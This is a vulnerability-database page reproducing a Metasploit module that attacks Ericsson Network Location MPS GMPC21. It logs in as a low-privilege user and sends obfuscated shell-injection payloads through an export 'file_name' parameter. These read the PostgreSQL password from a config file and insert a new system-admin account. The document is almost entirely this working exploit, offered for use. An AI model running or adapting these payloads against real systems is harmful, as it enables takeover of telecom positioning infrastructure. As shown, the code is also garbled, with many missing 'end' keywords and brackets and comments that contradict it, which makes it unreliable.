发布 2021-11-02 漏洞条目

Ericsson Network Location MPS GMPC21 – Privilege Escalation (Metasploit)

Exploit Source

# This module requires Metasploit: https://metasploit.com/download

# Current source: https://github.com/rapid7/metasploit-framework

class MetasploitModule < Msf::Auxiliary

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})

super(update_info(info,

'Name' => 'Ericsson Network Location MPS - Privilege Escalation (Meow Variant)',

'Description' => %q(

This module exploits privilege escalation vulnerability in Ericsson Network Location Mobile Positioning Systems.

It creates a new admin user with SQL Query. Thanks to the Meow variant, it does this with the PostgreSQL password it stole.

Therefore low authority user can gain the authority of "admin" on the application.

You can examine the exploit "Restrictions Bypass RCE", which is the main source of the vulnerability.

"version":"GMPC21","product_number":"CSH 109 025 R6A", "cluster version: 21"

/////// This 0day has been published at DEFCON29-PHV Village. ///////

'References' =>

[

[ 'CVE', '2021-' ],

[ 'URL', 'https://pentest.com.tr/blog/RCE-via-Meow-Variant-along-with-an-Example-0day-PacketHackingVillage-Defcon-29.html' ],

[ 'URL', 'https://www.ericsson.com/en/portfolio/digital-services/automated-network-operations/analytics-and-assurance/ericsson-network-location'],

[ 'URL', 'https://www.wallofsheep.com/pages/dc29#akkus']

'Author' =>

[

'Özkan Mustafa AKKUŞ <AkkuS>' # Discovery & PoC & MSF Module @ehakkus

'License' => MSF_LICENSE,

'DisclosureDate' => "Apr 21 2021",

'DefaultOptions' =>

{

'RPORT' => 10083,

'SSL' => true

}

))

register_options([

OptString.new('USERNAME', [true, 'NLG Username']),

OptString.new('PASSWORD', [true, 'NLG Password']),

OptString.new('TARGETURI', [true, 'Base path for NLG application', '/'])

])

end

# for Origin and Referer headers

def peer

"#{ssl ? 'https://' : 'http://' }#{rhost}:#{rport}"

end

# split strings to salt

def split(data, string_to_split)

word = data.scan(/"#{string_to_split}":"([\S\s]*?)"/)

string = word.split('"]').join('').split('["').join('')

return string

end

def cluster

res = send_request_cgi({

# clusters information to API directories

'uri' => normalize_uri(target_uri.path, 'api', 'value', 'v1', 'data', 'clusters'),

'method' => 'GET'

})

if res && res.code == 200 && res.body =~ /version/

cls_version = split(res.body, "version")

cls_node_type = split(res.body, "node_type")

cls_name = split(res.body, "cluster_name")

cls_id = cls_version + "-" + cls_node_type + "-" + cls_name

return cls_version, cls_node_type, cls_name, cls_id

else

fail_with(Failure::NotVulnerable, 'Cluster not detected. Check the informations!')

end

def permission_check(token)

# By giving numbers to the vulnerable areas, we can easily use them in JSON format.

json_urls = '{"1":"/cells/gsm/cgi_cells/","2":"/smpp/", "3":"/positioning_controls/gsm/", "4":"/psap/wireless/specific_routings/", "5":"/numbering/plmns/"}'

parse = JSON.parse(json_urls)

cls_id = cluster[3]

cls_node_type = cluster[1]

i = 1

while i <= 6 do

link = parse["#{i}"]

i +=1

# The cells export operation returns 409 response when frequent requests are made.

# Therefore, if it is time for check cells import operation, we tell expoit to sleep for 2 seconds.

if link == "/cells/gsm/cgi_cells/"

sleep(7)

end

filename = Rex::Text.rand_text_alpha_lower(6)

res = send_request_cgi({

'uri' => normalize_uri(target_uri.path, 'api', 'value', 'v1', 'data', cls_id, cls_node_type, link, 'export?file_name=/export/home/mpcadmin/', filename),

'method' => 'GET',

'headers' =>

{

'X-Auth-Token' => token,

'Origin' => "#{peer}"

}

})

if res && res.code == 403 then # !200

elsif res && res.code == 200

return link, true

elsif res && res.code == 400

return link, true

elsif res && res.code == 404 # This means i == 5 (a non index) and response returns 404.

return "no link", false

end

def check

# check connection and login

token = login(datastore['USERNAME'], datastore['PASSWORD'])

res = send_request_cgi({

# product information check

'uri' => normalize_uri(target_uri.path, 'api', 'value', 'v1', 'data', cluster[3], 'product_info', 'about'),

'method' => 'GET',

'headers' =>

{

'X-Auth-Token' => token,

'Origin' => "#{peer}"

}

})

if res && res.code == 200 && res.body =~ /version/

version = split(res.body, "version")

pnumber = split(res.body, "product_number")

print_status("Product Number:#{pnumber} - Version:#{version}")

return Exploit::CheckCode::Appears

else

return Exploit::CheckCode::Safe

end

def login(user, pass)

json_login = '{"auth": {"method": "password","password": {"user_id": "' + datastore["USERNAME"] + '","password": "' + datastore["PASSWORD"] + '"}}}'

res = send_request_cgi(

{

'method' => 'POST',

'ctype' => 'application/json',

'uri' => normalize_uri(target_uri.path, 'api', 'login', 'nlg', 'gmpc', 'auth', 'tokens'),

'headers' =>

{

'Origin' => "#{peer}"

'data' => json_login

})

if res && res.code == 200 && res.body =~ /true/

auth_token = split(res.body, "authToken")

return auth_token

else

fail_with(Failure::NotVulnerable, 'Login failed. Check your informations!')

end

def prep_payloads(token, link)

configname = Rex::Text.rand_text_alpha_lower(12)

newuser = Rex::Text.rand_text_alpha_lower(8)

newpass = "PrivEsc0day!"

#/ = 2F - y

#; = 3B - z

#| = 7C - p

#>& = 3E26 - v

#>/ = 3E2F - g

#> = 3E - k

#< = 3C - c

#' = 27 - t

#$ = 24 - d

#\ = 5C - b

#! = 21 - u

#" = 22 - x

#( = 28 - m

#) = 29 - i

#, = 2C - o

#_ = 5F - a

# echo `xxd -r -p <<< 2F`>y

payloads = '{"1":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}2F`>y&&pwd>fl") +'", '

# echo `xxd -r -p <<< 3B`>z

payloads << '"2":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}3B`>z&&pwd>fl") +'", '

#echo `xxd -r -p <<< 7C`>p

payloads << '"3":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}7C`>p&&pwd>fl") +'", '

#echo `xxd -r -p <<< 3E26`>v

payloads << '"4":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}3E26`>v&&pwd>fl") +'", '

#echo `xxd -r -p <<< 3E`>k

payloads << '"5":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}3E`>k&&pwd>fl") +'", '

#echo `xxd -r -p <<< 27`>t

payloads << '"6":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}27`>t&&pwd>fl") +'", '

#echo `xxd -r -p <<< 24`>d

payloads << '"7":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}24`>d&&pwd>fl") +'", '

#echo `xxd -r -p <<< 5C`>b

payloads << '"8":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}5C`>b&&pwd>fl") +'", '

#echo `xxd -r -p <<< 21`>u

payloads << '"9":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}21`>u&&pwd>fl") +'", '

#echo `xxd -r -p <<< 22`>x

payloads << '"10":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}22`>x&&pwd>fl") +'", '

#echo `xxd -r -p <<< 28`>x

payloads << '"11":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}28`>m&&pwd>fl") +'", '

#echo `xxd -r -p <<< 29`>x

payloads << '"12":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}29`>i&&pwd>fl") +'", '

#echo `xxd -r -p <<< 2C`>x

payloads << '"13":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}2C`>o&&pwd>fl") +'", '

#echo `xxd -r -p <<< 5F`>x

payloads << '"14":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}5F`>a&&pwd>fl") +'", '

#cp /opt/consul/setting/factory/GMPC/parameter/gmpc_schema.json [random-file-name].json

payloads << '"15":"' + Rex::Text.uri_encode("IFS=',.';cp${IFS}`cat${IFS}y`opt`cat${IFS}y`consul`cat${IFS}y`setting`cat${IFS}y`factory`cat${IFS}y`GMPC`cat${IFS}y`parameter`cat${IFS}y`gmpc_schema.json${IFS}#{configname}.json&&pwd>fl") +'", '

#echo sed '31843!d' [random-file-name].json > pass1.sh

payloads << '"16":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}sed${IFS}`cat${IFS}t`31843`cat${IFS}u`d`cat${IFS}t`${IFS}#{configname}.json${IFS}>pass1.sh&&pwd>fl") +'", '

#chmod +x pass1.sh

payloads << '"17":"' + Rex::Text.uri_encode("IFS=',.';chmod${IFS}+x${IFS}pass1.sh&&pwd>fl") +'", '

#sh pass1.sh > pass2

payloads << '"18":"' + Rex::Text.uri_encode("IFS=',.';sh${IFS}pass1.sh>pass2&&pwd>fl") +'", '

#cat pass2 | awk -F[:,\"] '{print $5}' > pass3.sh

payloads << '"19":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}cat${IFS}pass2${IFS}`cat${IFS}p`${IFS}awk${IFS}-F[:,`cat${IFS}b``cat${IFS}x`]${IFS}`cat${IFS}t`{print${IFS}`cat${IFS}d`5}`cat${IFS}t`>pass3.sh&&pwd>fl") +'", '

#chmod +x pass3.sh

payloads << '"20":"' + Rex::Text.uri_encode("IFS=',.';chmod${IFS}+x${IFS}pass3.sh&&pwd>fl") +'", '

#sh pass3.sh > passlast

#passlast will be pgsql password...

payloads << '"21":"' + Rex::Text.uri_encode("IFS=',.';sh${IFS}pass3.sh>passlast&&pwd>fl") +'", '

#echo PGPASSWORD='`cat passlast`' > sqlq1

payloads << '"22":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}PGPASSWORD=`cat${IFS}t``cat${IFS}passlast``cat${IFS}t`>sqlq1&&pwd>fl") +'", '

#echo '/opt/pgsql/bin/psql -U mps -d mpsdb -c "INSERT INTO ' > sqlq2

payloads << '"23":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`cat${IFS}y`opt`cat${IFS}y`pgsql`cat${IFS}y`bin`cat${IFS}y`psql${IFS}-U${IFS}mps${IFS}-d${IFS}mpsdb${IFS}-c${IFS}`cat${IFS}x`INSERT${IFS}INTO>sqlq2&&pwd>fl") +'", '

#echo 'omuser(id,enabled,fail_times,latest_fail_at,name' > sqlq3

payloads << '"24":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}omuser`cat${IFS}m`id`cat${IFS}o`enabled`cat${IFS}o`fail`cat${IFS}a`times`cat${IFS}o`latest`cat${IFS}a`fail`cat${IFS}a`at`cat${IFS}o`name>sqlq3&&pwd>fl") +'", '

#echo ',password,password_expires_at,role)' > sqlq4

payloads << '"25":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`cat${IFS}o`password`cat${IFS}o`password`cat${IFS}a`expires`cat${IFS}a`at`cat${IFS}o`role`cat${IFS}i`>sqlq4&&pwd>fl") +'", '

#echo "VALUES ('privesc155',0,0,0,'test8day','" > sqlq5

payloads << '"26":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}VALUES${IFS}`cat${IFS}m``cat${IFS}t`#{newuser}`cat${IFS}t``cat${IFS}o`0`cat${IFS}o`0`cat${IFS}o`0`cat${IFS}o``cat${IFS}t`#{newuser}`cat${IFS}t``cat${IFS}o``cat${IFS}t`>sqlq5&&pwd>fl") +'", '

# echo ada628c3ae88b9cf90e61d26d2d852c161e30de9',0,'system_admin');" > sqlq6

payloads << '"27":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}ada628c3ae88b9cf90e61d26d2d852c161e30de9`cat${IFS}t``cat${IFS}o`0`cat${IFS}o``cat${IFS}t`system`cat${IFS}a`admin`cat${IFS}t``cat${IFS}i``cat${IFS}z``cat${IFS}x`>sqlq6&&pwd>fl") +'", '

#echo `cat sqlq1` `cat sqlq2``cat sqlq3``cat sqlq4` `cat sqlq5``cat sqlq6` > sqlq7.sh

payloads << '"28":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`cat${IFS}sqlq1`${IFS}`cat${IFS}sqlq2`${IFS}`cat${IFS}sqlq3``cat${IFS}sqlq4`${IFS}`cat${IFS}sqlq5``cat${IFS}sqlq6`>sqlq7.sh&&pwd>fl") +'", '

#chmod +x sqlq7.sh

payloads << '"29":"' + Rex::Text.uri_encode("IFS=',.';chmod${IFS}+x${IFS}sqlq7.sh&&pwd>fl") +'", '

#sh sqlq7.sh

payloads << '"30":"' + Rex::Text.uri_encode("IFS=',.';sh${IFS}sqlq7.sh&&pwd>fl") +'"}'

if link == "/cells/gsm/cgi_cells/"

print_status("Your user must be 'gmpc_celldata_admin'. That's why Expoit going to run slowly. Please be patient!")

end

parse = JSON.parse(payloads)

cls_id = cluster[3]

cls_node_type = cluster[1]

i = 1

while i <= 31 do

pay = parse["#{i}"]

i +=1

if link == "/cells/gsm/cgi_cells/"

sleep(15)

end

send_payloads(cls_id, cls_node_type, token, link, pay)

if i == 31

check_user(newuser, newpass, link)

end

def check_user(user, pass, link)

json_login = '{"auth": {"method": "password","password": {"user_id": "' + user + '","password": "' + pass + '"}}}'

if link == "/cells/gsm/cgi_cells/"

print_good("Privilege escalation successful!")

print_good("The new system admin user has been created successfully.")

print_status("New User : #{user}")

print_status("New Pass : #{pass}")

else

res = send_request_cgi(

{

'method' => 'POST',

'ctype' => 'application/json',

'uri' => normalize_uri(target_uri.path, 'api', 'login', 'nlg', 'gmpc', 'auth', 'tokens'),

'headers' =>

{

'Origin' => "#{peer}"

'data' => json_login

})

if res && res.code == 200 && res.body =~ /true/

print_good("Privilege escalation successful!")

print_good("The new system admin user has been created successfully.")

print_status("New User : #{user}")

print_status("New Pass : #{pass}")

else

fail_with(Failure::NotVulnerable, 'Something went wrong. New user could not be created.')

end

def get_pgsql_pass(config_name)

res = send_request_cgi({

'uri' => normalize_uri(target_uri.path, config_name),

'method' => 'GET',

'headers' =>

{

'Origin' => "#{peer}"

}

})

parse = JSON.parse(res.body)

pass = parse['AML']

puts pass

end

def send_payloads(id, type, token, link, pay)

res = send_request_cgi({

'uri' => normalize_uri(target_uri.path, 'api', 'value', 'v1', 'data', id, type, link, "export?file_name=/export/home/mpcadmin/%7C#{pay}"),

'method' => 'GET',

'headers' =>

{

'X-Auth-Token' => token,

'Origin' => "#{peer}"

}

})

end

# Exploiting phase

def run

auth_token = login(datastore['USERNAME'], datastore['PASSWORD'])

unless permission_check(auth_token)[1] == true

fail_with(Failure::NotVulnerable, 'The user has no permission to perform the operation!')

else

perm_link = permission_check(auth_token)[0]

print_good("Excellent! The user #{datastore['USERNAME']} has permission on #{perm_link}")

end

prep_payloads(auth_token, perm_link)

end

作者: AkkuS
日期: 2021-11-02
类别: webapps
平台: multiple

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